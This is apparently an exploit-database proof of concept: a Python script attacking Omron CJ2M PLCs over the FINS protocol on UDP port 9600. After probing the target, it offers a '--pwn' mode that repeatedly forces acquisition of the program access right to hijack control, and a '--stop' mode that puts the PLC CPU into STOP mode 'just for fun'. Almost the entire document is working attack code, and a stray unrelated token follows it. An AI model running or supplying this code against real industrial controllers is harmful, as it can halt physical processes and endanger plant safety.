# Exploit Title: Omron PLC 1.0.0 - Denial of Service (PoC) # Google Dork: n/a # Date: 2019-12-06 # Exploit Author: n0b0dy # Vendor Homepage: https://automation.omron.com, ia.omron.com # Software Link: n/a # Version: 1.0.0 # Tested on: PLC f/w rev.: CJ2M (v2.01) # CWE-412 : Unrestricted Externally Accessible Lock # CVE : n/a #!usr/bin/python ###################################################################################################### # # # `-:+oyhdmmNNNNNNNNmdhyso/:. # #-/shmNmhyo+/:-..`````..--:/oshdNNdyo:. # # `:ohNmho/-`.:+ydNmy+. # #.+hNms/. `:ohNms:` # # .+dNh+. `/ymNy: # # :yNd+. `/yNmo.# #`/dNy-`.+mNy-# # +mmo. `/dNy-# # :dNo```........--.......``` `/dNs.# # .yNy. .-``....```....``..``....```...```-``+Nm/ # #/mm: ./ymy. `...```..```.``` `..` `...`+mho:`.yMh. # #`sNy. `.`/hNMNo``..``.`.` .` `` `..`...`-dMNmo... `+Nm:# # `yNo`-yy-sMMMh-......```.` .`.```.-...`` `..` `+NMMm:+h+`:mN/ # #`hN/ +Nm.sMMh/: `.. `.....```..` `//+yy+.``.``...`..` `.. ./oNMm-oMh.-dN+# # `hN+`/MMo:Nh:/h- `..`.. `..```oMy.:NMd```... `.`ys:omh.NMh`.mM/ # # yM+ `o-hMN.:+sdm/ `-. .. .` ./-./NNo .`.. `.` .hmy+/`sMM-o- -mN:# #+My .dd`mMy/hNmo. `-````` `. `- :ho.`. ..````.. `/hNmo/NM//N/ :Mm` # # .mm. sMd`mMmNd+/` `-```..-.```.. +. .```.-...``..:/yNNNM/:MN` sMs # # yM+ `mMm`mMm+-ss `-`..```.....-....```-o+.```...-.....```.-`.` -h/:yMM/+MM/ .mN-# #.Nm` `NMN`yo/yNd. .. -` `-```````yNm-```````. `-``.oNd++h:sMM+oMy# #+Mo `.NMM.:hNMd. `-``..- `:- `-.. .` `oNMmo`yMM+. .NN` # #hN- y:hMMoNMmo... .`...`-`- `. /hMMydMM-h. dM/ # # .mm`-No-NMMMy-o:.. .`...://-` `-` `-` - y-+mMMMy.Ns sMs # # :Nd :Mm.oMMo.sN...`````````-`````````..`./s` :smds: :s:``-`````````-.`````````-`ym--NMm.sMh +Mh # # +Mh -NMy`hd-hMd`..`````````-```````.-/+smMy -my``dNho/.````````-``````````- /Mm/+N:-NMs /Mh # # /NhhMM/-/hMM/ .. .` `+yhdmmNMMMM. .so` yMMMNmhyso+/.`-``- `mMN/+.dMM- /Mh # # -Nd` -NMm-+MMh. `. .` oMMMMMMMMMMN` `hyyMMMMMMMMMMMd.- `. `/MMd`yMMyoMy # # `mN.`.oNMhyMN-o/ -``.`mMMMMMMMMMMM- -NN.`dMMMMMMMMMMMM/. .``y`hMNoMMh.- yMo # #yM:.h./mMMMs dm``. .+MMMMMMMMMMMMo /MM/:NMMMMMMMMMMMMs``. oN--NMMNy.+o`mM- # #/My`dd/-yNM:.NM+ ..``.hMMMMMMMMMMMMN-oMMo `hMMMMMMMMMMMMMh.``.``mMo`dMm/-yN/:Mm` # #`mN./MMh-/d/+MMs.` ``````.NMMMMMMMMMMMMMm- sMMs oMMMMMMMMMMMMMMm.````` `.` -NMd`ds-omMh`hMo# # +Ms oNMNo--sMMh`- ..` oMMMMMMMMMMMMMMMm:yMMhoMMMMMMMMMMMMMMMN-`..``-:MMN.:/dMMd.:Nm.# # `hN: /NMMm/+MMm`h+ .. mMMMMMMMMMMMMMMMMNNMMMMMMMMMMMMMMMMMMMMo`.`-h-oMMd-yMMMy.`dM/ # #-Nm. +yNMMdNMN-/Ms``.`-MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMh .. :mh`hMMdNMNdo- sMy# # /Nh`:y+odNMMMo`mMy..`/MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMm``.` :NM/.NMMMmy+os`oMd.# #+Mh`+Nh//odNm`oMM+`.sMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN.`.mMN`oNmy+/smh`+Mm. # # +Nh./mMNho++-.mMN/-/`hMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM- `-:.dMMo`+++ymMNs.oNd-# #/Nd-.omMMMmy+/dMN//ds-hMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM//hy-dMNs:sdMMMNh:`sMh. # # -dN+``/ymNMMNdmMMo/mNdNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNMs:mMNdmMMNmh+. -dMs`# #`yNy. /o+/oyhmmNNy:hNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMm//mNNmdys+/+o.`oNm/# #:mNo`:dmdyo////+:./yNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMdo--+//:/+shmmo.:dNy. # # `+mm+.:smNMMMMMMMMNNNNmmMMMMMMMMMMMMMMMMMMMMMMMMMMNhmNNNNMMMMMMMMMNh+.:hNh- # # `oNmo.`.+ooooo+//:--:yMMMMMMMMMMMMMMMMMMMMMMMMMMmo/--::/++ooooo:``/hNd: # # `+mNs:.+yso++oshmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNdys+++oys:.odNh: # #:yNdo-/sdNNMMMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMdmNNMMNNmy+:/hNmo. # #`+hNds:``...`/MMMMMMMMMMMMMMMMMMMMMMMMMMMM: `....`-ohNms:# # `/ymNds/.`sMMMMMMMMMMMMMMMMMMMMMMMMMMMM+`:ohNNdo- # # ./sdNNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMdhmNNho:`# # `-/oydNMMMMMMMMMMMMMMMMMMMMMMmhy+:. # #`.://+osyyyyyyso+/:-.# # # # # # Exploit Title: Omron PLC: Denial-of-Service as a Feature# # Google Dork: n/a# # Date: 2019.12.06# # Exploit Author: n0b0dy# # Vendor Homepage: https://automation.omron.com, ia.omron.com # # Software Link: n/a# # Version: 1.0.0# # Tested on: PLC f/w rev.: CJ2M (v2.01) # # CWE-412 : Unrestricted Externally Accessible Lock # # CVE : n/a # # # ####################################################################################################### import sys, signal, socket, time, binascii nic = socket.gethostbyname(socket.gethostname()) #will fail if hostname = 'hostname' if len(sys.argv) < 2: print "Usage: fins.dos.py [arg.] {target ip} {target port[9600]}" print "--pwn Hijack control of PLC program." print "--stop Stop PLC CPU." else: ip = sys.argv[2] try: port = sys.argv[3] except: port = 9600 def ip_validate(ip): a = ip.split('.') if len(a) != 4: return False for x in a: if not x.isdigit(): return False i = int(x) if i < 0 or i > 255: return False return True #fins header icf = '\x80' #info control field (flags); 80=resp req, 81=resp not req rsv = '\x00' #reserved gct = '\x02' #gateway count dna = '\x00' #dest net addr idnn = ip[-1:] #dest node no (last digit of target ip) dnn_i = '0' + idnn dnn = binascii.a2b_hex(dnn_i) dua = '\x00' #dest unit addr sna = '\x00' #source net addr isnn = nic[-1:] #source node no (last digit of own ip) snn_i = '0' + isnn snn = binascii.a2b_hex(snn_i) sua = '\x00' #source unit addr sid = '\x7a' #service ID fins_hdr = icf + rsv + gct + dna + dnn + dua + sna + snn + sua + sid #FINS command acceptance code fins_ok = '\x00' #Verify PLC type CmdMRst1 = binascii.a2b_hex("05") CmdSRst1 = binascii.a2b_hex("01") Cmdst1 =\ fins_hdr + CmdMRst1 + CmdSRst1 + '\x00' print "Probing PLC... " + '\t' s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s1.sendto(Cmdst1, (ip, port)) print "Finished." + '\r\n' s1fins_resp = s1.recvfrom(1024) s1fins_resp_b = bytes(s1fins_resp[0]) if s1fins_resp_b[12] == fins_ok and s1fins_resp_b[13] == fins_ok: print "FINS target is exploitable: " print s1fins_resp_b[14:39] else: print "FINS target not exploitable." print "FINS response from target: ", s1fins_resp if sys.argv[1] == "--pwn": #access right forced acquire PgmNo = '\xff' CmdMRst2 = binascii.a2b_hex("0c") CmdSRst2 = binascii.a2b_hex("02") Cmdst2 =\ fins_hdr + CmdMRst2 + CmdSRst2 + PgmNo + PgmNo reqdly = 1 persist = 1 pwnage = 0 print "Obtaining control of PLC program..." + '\r\n' while persist == 1: try: s2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) time.sleep(reqdly) s2.sendto(Cmdst2, (ip, port)) s2fins_resp = s2.recvfrom(1024) s2fins_resp_b = bytes(s2fins_resp[0]) if s2fins_resp_b[12] == fins_ok and s2fins_resp_b[13] == fins_ok: pwnage += 1 pwntime = str(pwnage) sys.stdout.write('\r' + "Pwnage in progress! " + "duration: " + pwntime + " sec.") sys.stdout.flush() else: print "Attack unsuccessful. ", '\r\n' print "FINS error code: ", s2fins_resp except socket.error as e: print socket.error s2.close() except KeyboardInterrupt: persist = 0 print '\r', " Attack interrupted by user." s2.close() elif sys.argv[1] == "--stop": #change OP Mode CmdMRst3 = binascii.a2b_hex("04") CmdSRst3 = binascii.a2b_hex("02") Cmdst3 =\ fins_hdr + CmdMRst3 + CmdSRst3 print "Stopping PLC (just for fun)... " + '\t' s3 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s3.sendto(Cmdst3, (ip, port)) print "Finished. " s3fins_resp = s3.recvfrom(1024) s3fins_resp_b = bytes(s3fins_resp[0]) if s3fins_resp_b[12] == fins_ok and s3fins_resp_b[13] == fins_ok: print "PLC CPU STOP mode confirmed. " else: print "Attack unsuccessful. ", '\r\n' print "FINS response from target: ", s3fins_resp
体验盒子
